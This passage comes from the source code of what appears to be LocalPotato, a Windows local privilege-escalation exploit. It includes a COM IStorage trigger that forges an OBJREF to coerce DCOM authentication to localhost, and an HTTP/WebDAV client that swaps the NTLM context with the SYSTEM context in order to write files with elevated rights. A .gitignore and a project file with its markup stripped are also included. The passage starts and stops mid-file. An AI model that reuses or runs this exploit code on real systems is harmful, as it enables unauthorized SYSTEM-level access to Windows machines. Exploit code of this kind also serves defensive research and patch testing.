&IID_IUnknown; 100 | qis[0].pItf = NULL; 101 | qis[0].hr = 0; 102 | //Call CoGetInstanceFromIStorage 103 | printf("[*] Calling CoGetInstanceFromIStorage with CLSID:%S\n", clsidStr); 104 | result = CoGetInstanceFromIStorage(NULL, &targetClsid, NULL, CLSCTX_LOCAL_SERVER, IStorageTriggerObj, 1, qis); 105 | return result; 106 | } 107 | 108 | void base64Decode(PWCHAR b64Text, int b64TextLen, char* buffer, DWORD* bufferLen) { 109 | if (!CryptStringToBinaryW(b64Text, b64TextLen, CRYPT_STRING_BASE64, (BYTE*)buffer, (DWORD*)bufferLen, NULL, NULL)) { 110 | printf("[!] CryptStringToBinaryW failed with error code %d\n", GetLastError()); 111 | exit(-1); 112 | } 113 | } 114 | 115 | -------------------------------------------------------------------------------- /IStorageTrigger.cpp: -------------------------------------------------------------------------------- 1 | #include "IStorageTrigger.h" 2 | #include 3 | 4 | #pragma warning(disable : 4996) //_CRT_SECURE_NO_WARNINGS 5 | 6 | extern char gOxid[]; 7 | extern char gOid[]; 8 | extern char gIpid[]; 9 | 10 | IStorageTrigger::IStorageTrigger(IStorage* istg) { 11 | _stg = istg; 12 | m_cRef = 1; 13 | return; 14 | } 15 | 16 | HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) { 17 | return 0; 18 | } 19 | 20 | HRESULT IStorageTrigger::GetMarshalSizeMax(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, DWORD* pSize) { 21 | *pSize = 1024; 22 | //printf("IStorageTrigger GetMarshalSizeMax\n"); 23 | return 0; 24 | } 25 | 26 | HRESULT IStorageTrigger::GetUnmarshalClass(const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags, CLSID* pCid) { 27 | CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid); 28 | //printf("IStorageTrigger GetUnmarshalClass\n"); 29 | return 0; 30 | } 31 | 32 | HRESULT IStorageTrigger::MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags) { 33 | // only gods know what is going on in this function 34 | // do not try to refactor this. If you are brave and wanna try you can start here --> https://thrysoee.dk/InsideCOM+/ch19e.htm 35 | short sec_len = 8; 36 | char remote_ip_mb[256]; 37 | wchar_t remoteBindings[] = L"127.0.0.1"; 38 | wcstombs(remote_ip_mb, remoteBindings, 256); 39 | 40 | char* ipaddr = remote_ip_mb; 41 | unsigned short str_bindlen = (unsigned short)((strlen(ipaddr)) * 2) + 6; 42 | unsigned short total_length = (str_bindlen + sec_len) / 2; 43 | unsigned char sec_offset = str_bindlen / 2; 44 | 45 | byte data_0[] = { //OBJREF STANDARD 46 | 0x4d,0x45,0x4f,0x57, //MEOW 47 | 0x01,0x00,0x00,0x00, //FLAGS 48 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, // IID_IUnknown 49 | 0x00,0x00,0x00,0x00, //OBJREF STD FLAGS 50 | 0x01,0x00,0x00,0x00 //count 51 | }; 52 | 53 | byte* dataip; 54 | int len = (int)strlen(ipaddr) * 2; 55 | dataip = (byte*)malloc(len); 56 | for (int i = 0; i < len; i++) 57 | { 58 | if (i % 2) 59 | dataip[i] = *ipaddr++; 60 | else 61 | dataip[i] = 0; 62 | } 63 | byte data_4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff, 64 | 0xff, 0x00, 0x00, 0x00, 0x00 65 | }; 66 | byte data_1[4]; 67 | data_1[0] = (byte)total_length; 68 | data_1[1] = 0; 69 | data_1[2] = sec_offset; 70 | data_1[3] = 0; 71 | int size = sizeof(data_0) + 32 + sizeof(data_1) + len + 1 + sizeof(data_4); 72 | byte* marshalbuf = (byte*)malloc(size); 73 | int r = 0; 74 | memcpy(&marshalbuf[r], data_0, sizeof(data_0)); 75 | r = sizeof(data_0); 76 | memcpy(&marshalbuf[r], gOxid, 8); 77 | r = r + 8; 78 | memcpy(&marshalbuf[r], gOid, 8); 79 | r = r + 8; 80 | memcpy(&marshalbuf[r], gIpid, 16); 81 | r = r + 16; 82 | memcpy(&marshalbuf[r], data_1, sizeof(data_1)); 83 | r = r + sizeof(data_1); 84 | byte tmp1[] = { 0x07 }; // ncacn_ip_tcp: Tower Id for the Oxid resolution 85 | memcpy(&marshalbuf[r], tmp1, 1); 86 | r = r + 1; 87 | memcpy(&marshalbuf[r], dataip, len); 88 | r = r + len; 89 | memcpy(&marshalbuf[r], data_4, sizeof(data_4)); 90 | ULONG written = 0; 91 | pStm->Write(&marshalbuf[0], size, &written); 92 | printf("[*] Marshalling the IStorage object... IStorageTrigger written: %d bytes\n", written); 93 | free(marshalbuf); 94 | free(dataip); 95 | return 0; 96 | } 97 | 98 | HRESULT IStorageTrigger::ReleaseMarshalData(IStream* pStm) { 99 | return 0; 100 | } 101 | HRESULT IStorageTrigger::UnmarshalInterface(IStream* pStm, const IID& riid, void** ppv) { 102 | *ppv = 0; 103 | return 0; 104 | } 105 | HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) { 106 | _stg->Commit(grfCommitFlags); 107 | return 0; 108 | } 109 | HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID* rgiidExclude, SNB snbExclude, IStorage* pstgDest) { 110 | _stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); 111 | return 0; 112 | } 113 | HRESULT IStorageTrigger::CreateStorage(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage** ppstg) { 114 | _stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg); 115 | return 0; 116 | } 117 | HRESULT IStorageTrigger::CreateStream(const OLECHAR* pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream** ppstm) { 118 | _stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm); 119 | return 0; 120 | } 121 | HRESULT IStorageTrigger::DestroyElement(const OLECHAR* pwcsName) { 122 | _stg->DestroyElement(pwcsName); 123 | return 0; 124 | } 125 | HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void* reserved2, DWORD reserved3, IEnumSTATSTG** ppenum) { 126 | _stg->EnumElements(reserved1, reserved2, reserved3, ppenum); 127 | return 0; 128 | } 129 | HRESULT IStorageTrigger::MoveElementTo(const OLECHAR* pwcsName, IStorage* pstgDest, const OLECHAR* pwcsNewName, DWORD grfFlags) { 130 | _stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); 131 | return 0; 132 | } 133 | HRESULT IStorageTrigger::OpenStorage(const OLECHAR* pwcsName, IStorage* pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage** ppstg) { 134 | _stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg); 135 | return 0; 136 | } 137 | HRESULT IStorageTrigger::OpenStream(const OLECHAR* pwcsName, void* reserved1, DWORD grfMode, DWORD reserved2, IStream** ppstm) { 138 | _stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm); 139 | return 0; 140 | } 141 | HRESULT IStorageTrigger::RenameElement(const OLECHAR* pwcsOldName, const OLECHAR* pwcsNewName) { 142 | return 0; 143 | } 144 | HRESULT IStorageTrigger::Revert() { 145 | return 0; 146 | } 147 | HRESULT IStorageTrigger::SetClass(const IID& clsid) { 148 | return 0; 149 | } 150 | HRESULT IStorageTrigger::SetElementTimes(const OLECHAR* pwcsName, const FILETIME* pctime, const FILETIME* patime, const FILETIME* pmtime) { 151 | return 0; 152 | } 153 | HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) { 154 | return 0; 155 | } 156 | HRESULT IStorageTrigger::Stat(STATSTG* pstatstg, DWORD grfStatFlag) { 157 | _stg->Stat(pstatstg, grfStatFlag); 158 | //Allocate from heap because apparently this will get freed in OLE32 159 | const wchar_t c_s[] = L"LocalPotato.stg"; 160 | wchar_t* s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s)); 161 | wcscpy_s(s, sizeof(c_s) / sizeof(wchar_t), c_s); 162 | pstatstg[0].pwcsName = s; 163 | return 0; 164 | } 165 | 166 | ///////////////////////IUknown Interface 167 | HRESULT IStorageTrigger::QueryInterface(const IID& riid, void** ppvObj) { 168 | // Always set out parameter to NULL, validating it first. 169 | if (!ppvObj) { 170 | //printf("QueryInterface INVALID\n"); 171 | return E_INVALIDARG; 172 | } 173 | if (riid == IID_IUnknown) 174 | { 175 | *ppvObj = static_cast(this); 176 | //reinterpret_cast(*ppvObj)->AddRef(); 177 | } 178 | else if (riid == IID_IStorage) 179 | { 180 | *ppvObj = static_cast(this); 181 | } 182 | else if (riid == IID_IMarshal) 183 | { 184 | *ppvObj = static_cast(this); 185 | } 186 | else 187 | { 188 | *ppvObj = NULL; 189 | //printf("QueryInterface NOINT\n"); 190 | return E_NOINTERFACE; 191 | } 192 | // Increment the reference count and return the pointer. 193 | 194 | return S_OK; 195 | 196 | } 197 | 198 | ULONG IStorageTrigger::AddRef() { 199 | m_cRef++; 200 | return m_cRef; 201 | } 202 | 203 | ULONG IStorageTrigger::Release() { 204 | // Decrement the object's internal counter. 205 | ULONG ulRefCount = m_cRef--; 206 | return ulRefCount; 207 | } 208 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /LocalPotato.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {1b3c96a3-f698-472b-b786-6fed7a205159} 25 | LocalPotato 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | MultiThreaded 134 | 135 | 136 | Console 137 | true 138 | true 139 | false 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | -------------------------------------------------------------------------------- /HTTPClient.cpp: -------------------------------------------------------------------------------- 1 | #define SECURITY_WIN32 2 | #pragma comment(lib, "Secur32.lib") 3 | #pragma comment(lib, "Ws2_32.lib") 4 | #pragma warning(disable:4996) 5 | 6 | #include "windows.h" 7 | #include "stdio.h" 8 | #include "winsock.h" 9 | #include "sspi.h" 10 | #include "Security.h" 11 | #include "HTTPClient.h" 12 | 13 | 14 | // global vars 15 | extern wchar_t* httpHost; 16 | extern wchar_t* httpPageUrl; 17 | extern HANDLE event1; 18 | extern HANDLE event2; 19 | extern HANDLE event3; 20 | extern char SystemContext[]; 21 | extern char UserContext[]; 22 | 23 | SOCKET ConnectSocket2(const wchar_t* ipAddress, int port); 24 | BOOL DoAuthenticatedGETHTTP(SOCKET s, wchar_t* httpPageUrl); 25 | BOOL GenClientContext2(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText); 26 | char* base64Encode(char* text, int textLen, int* b64Len); 27 | char* base64Decode(char* b64Text, int b64TextLen, int* bufferLen); 28 | int findBase64NTLM(char* buffer, int buffer_len, char* outbuffer, int* outbuffer_len); 29 | char* ForgeHTTPRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage); 30 | char* ForgeHTTPWebDavRequestType1(char* ntlmsspType1, int ntlmsspType1Len, int* httpPacketType1Len, wchar_t* httpIp, wchar_t* httpUrlPage); 31 | char* ForgeHTTPWebDavRequestType0(int *l,wchar_t* httpIp, wchar_t* httpUrlPage); 32 | void ExtractType2FromHttp(char* httpPacket, int httpPacketLen, char* ntlmType2, int* ntlmType2Len); 33 | char* ForgeHTTPRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage); 34 | char* ForgeHTTPWebDavRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp, wchar_t* httpUrlPage); 35 | char* ForgeHTTPWebDavRequestWrite(int* l, wchar_t* httpIp, wchar_t* httpUrlPage); 36 | char* ForgeHTTPWebDavRequestHead(int* l, wchar_t* httpIp, wchar_t* httpUrlPage); 37 | 38 | 39 | void HTTPAuthenticatedGET() { 40 | SOCKET httpSocket = ConnectSocket2(httpHost, 80); 41 | DoAuthenticatedGETHTTP(httpSocket, httpPageUrl); 42 | closesocket(httpSocket); 43 | } 44 | 45 | BOOL DoAuthenticatedGETHTTP(SOCKET s, wchar_t* httpPageUrl) { 46 | BOOL fDone = FALSE; 47 | DWORD cbOut = 0; 48 | DWORD cbIn = 0; 49 | PBYTE pInBuf; 50 | PBYTE pOutBuf; 51 | char* sendbuffer = NULL; 52 | char ntlmType2[DEFAULT_BUFLEN]; 53 | char recBuffer[DEFAULT_BUFLEN]; 54 | int len = 0; 55 | int reclen = 0; 56 | CredHandle hCred; 57 | struct _SecHandle hcText; 58 | 59 | pInBuf = (PBYTE)malloc(DEFAULT_BUFLEN); 60 | pOutBuf = (PBYTE)malloc(DEFAULT_BUFLEN); 61 | cbOut = DEFAULT_BUFLEN; 62 | 63 | //ntlm type 1 http auth 64 | if (!GenClientContext2(NULL, 0, pOutBuf, &cbOut, &fDone, (wchar_t*)L"", &hCred, &hcText)) 65 | { 66 | return(FALSE); 67 | } 68 | sendbuffer = ForgeHTTPWebDavRequestType0(&len, httpHost, httpPageUrl); 69 | send(s, sendbuffer, len, 0); 70 | reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0); 71 | 72 | sendbuffer = ForgeHTTPWebDavRequestType1((char*)pOutBuf, cbOut, &len, httpHost, httpPageUrl); 73 | send(s, sendbuffer, len, 0); 74 | 75 | // handling ntlm type2 part with context swapping 76 | reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0); 77 | ExtractType2FromHttp(recBuffer, reclen, ntlmType2, &len); 78 | 79 | if (ntlmType2[8] == 2) 80 | { 81 | memcpy(UserContext, &ntlmType2[32], 8); 82 | WaitForSingleObject(event1, INFINITE); 83 | // for local auth reflection we don't really need to relay the entire packet 84 | // swapping the context in the Reserved bytes with the SYSTEM context is enough 85 | memcpy(&ntlmType2[32], SystemContext, 8); 86 | printf("[+] HTTP Client Auth Context swapped with SYSTEM \n"); 87 | } 88 | else { 89 | printf("[!] Authentication over HTTP is not using NTLM. Exiting...\n"); 90 | return FALSE; 91 | } 92 | cbOut = DEFAULT_BUFLEN; 93 | if (!GenClientContext2((BYTE*)ntlmType2, len, pOutBuf, &cbOut, &fDone, (SEC_WCHAR*)L"", &hCred, &hcText)) 94 | exit(-1); 95 | SetEvent(event2); 96 | WaitForSingleObject(event3, INFINITE); 97 | 98 | // handling ntlm type3 99 | sendbuffer = ForgeHTTPWebDavRequestType3((char*)pOutBuf, cbOut, &len, httpHost, httpPageUrl); 100 | send(s, sendbuffer, len, 0); 101 | 102 | // getting response from server 103 | reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0); 104 | /*if (recBuffer[9] == '2' && recBuffer[10] == '0' && recBuffer[11] == '0') { 105 | printf("[+] HTTP reflected DCOM authentication succeeded!\n"); 106 | } 107 | else { 108 | printf("[!] HTTP reflected DCOM authentication failed \n"); 109 | return FALSE; 110 | }*/ 111 | sendbuffer = ForgeHTTPWebDavRequestWrite(&len, httpHost, httpPageUrl); 112 | printf("%s %d\n", sendbuffer, len); 113 | send(s, sendbuffer, len, 0); 114 | 115 | reclen = recv(s, recBuffer, DEFAULT_BUFLEN, 0); 116 | if (recBuffer[9] == '2' && recBuffer[10] == '0' && recBuffer[11] == '1') { 117 | printf("[+] File write succeeded!\n"); 118 | } 119 | else { 120 | printf("[!] File creation Failed \n"); 121 | 122 | } 123 | 124 | free(pInBuf); 125 | free(pOutBuf); 126 | if(sendbuffer != NULL) free(sendbuffer); 127 | return TRUE; 128 | } 129 | 130 | SOCKET ConnectSocket2(const wchar_t* ipAddress, int port) { 131 | char ipAddress_a[20]; 132 | char remotePort_a[12]; 133 | WSADATA wsaData; 134 | int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); 135 | if (iResult != NO_ERROR) { 136 | wprintf(L"WSAStartup function failed with error: %d\n", iResult); 137 | return 1; 138 | } 139 | SOCKET ConnectSocket; 140 | ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 141 | if (ConnectSocket == INVALID_SOCKET) { 142 | wprintf(L"socket function failed with error: %ld\n", WSAGetLastError()); 143 | WSACleanup(); 144 | return 1; 145 | } 146 | memset(remotePort_a, 0, 12); 147 | memset(ipAddress_a, 0, 20); 148 | wcstombs(ipAddress_a, ipAddress, 20); 149 | sockaddr_in clientService; 150 | clientService.sin_family = AF_INET; 151 | clientService.sin_addr.s_addr = inet_addr(ipAddress_a); 152 | clientService.sin_port = htons(port); 153 | iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)); 154 | if (iResult == SOCKET_ERROR) { 155 | wprintf(L"[!] ConnectSocket: connect function failed with error: %ld\n", WSAGetLastError()); 156 | iResult = closesocket(ConnectSocket); 157 | if (iResult == SOCKET_ERROR) 158 | wprintf(L"closesocket function failed with error: %ld\n", WSAGetLastError()); 159 | WSACleanup(); 160 | return 1; 161 | } 162 | Sleep(1000); 163 | printf("[*] Connected to the HTTP server with ip %s and port %d\n", ipAddress_a, port); 164 | return ConnectSocket; 165 | } 166 | 167 | BOOL GenClientContext2(BYTE* pIn, DWORD cbIn, BYTE* pOut, DWORD* pcbOut, BOOL* pfDone, WCHAR* pszTarget, CredHandle* hCred, struct _SecHandle* hcText) 168 | { 169 | SECURITY_STATUS ss; 170 | TimeStamp Lifetime; 171 | SecBufferDesc OutBuffDesc; 172 | SecBuffer OutSecBuff; 173 | SecBufferDesc InBuffDesc; 174 | SecBuffer InSecBuff; 175 | ULONG ContextAttributes; 176 | PTCHAR lpPackageName = (PTCHAR)NTLMSP_NAME; 177 | 178 | if (NULL == pIn) 179 | { 180 | ss = AcquireCredentialsHandle(NULL, lpPackageName, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, hCred, &Lifetime); 181 | if (!(SEC_SUCCESS(ss))) 182 | { 183 | printf("[!] AcquireCredentialsHandleW failed with error code 0x%x\n", ss); 184 | return FALSE; 185 | } 186 | } 187 | OutBuffDesc.ulVersion = 0; 188 | OutBuffDesc.cBuffers = 1; 189 | OutBuffDesc.pBuffers = &OutSecBuff; 190 | OutSecBuff.cbBuffer = *pcbOut; 191 | OutSecBuff.BufferType = SECBUFFER_TOKEN; 192 | OutSecBuff.pvBuffer = pOut; 193 | if (pIn) 194 | { 195 | InBuffDesc.ulVersion = 0; 196 | InBuffDesc.cBuffers = 1; 197 | InBuffDesc.pBuffers = &InSecBuff; 198 | InSecBuff.cbBuffer = cbIn; 199 | InSecBuff.BufferType = SECBUFFER_TOKEN; 200 | InSecBuff.pvBuffer = pIn; 201 | ss = InitializeSecurityContext(hCred, hcText, (SEC_WCHAR*)pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, &InBuffDesc, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime); 202 | 203 | } 204 | else 205 | ss = InitializeSecurityContext(hCred, NULL, (SEC_WCHAR*)pszTarget, MessageAttribute, 0, SECURITY_NATIVE_DREP, NULL, 0, hcText, &OutBuffDesc, &ContextAttributes, &Lifetime); 206 | if (!SEC_SUCCESS(ss)) 207 | { 208 | printf("[!] InitializeSecurityContext failed with error code 0x%x\n", ss); 209 | return FALSE; 210 | } 211 | if ((SEC_I_COMPLETE_NEEDED == ss) 212 | || 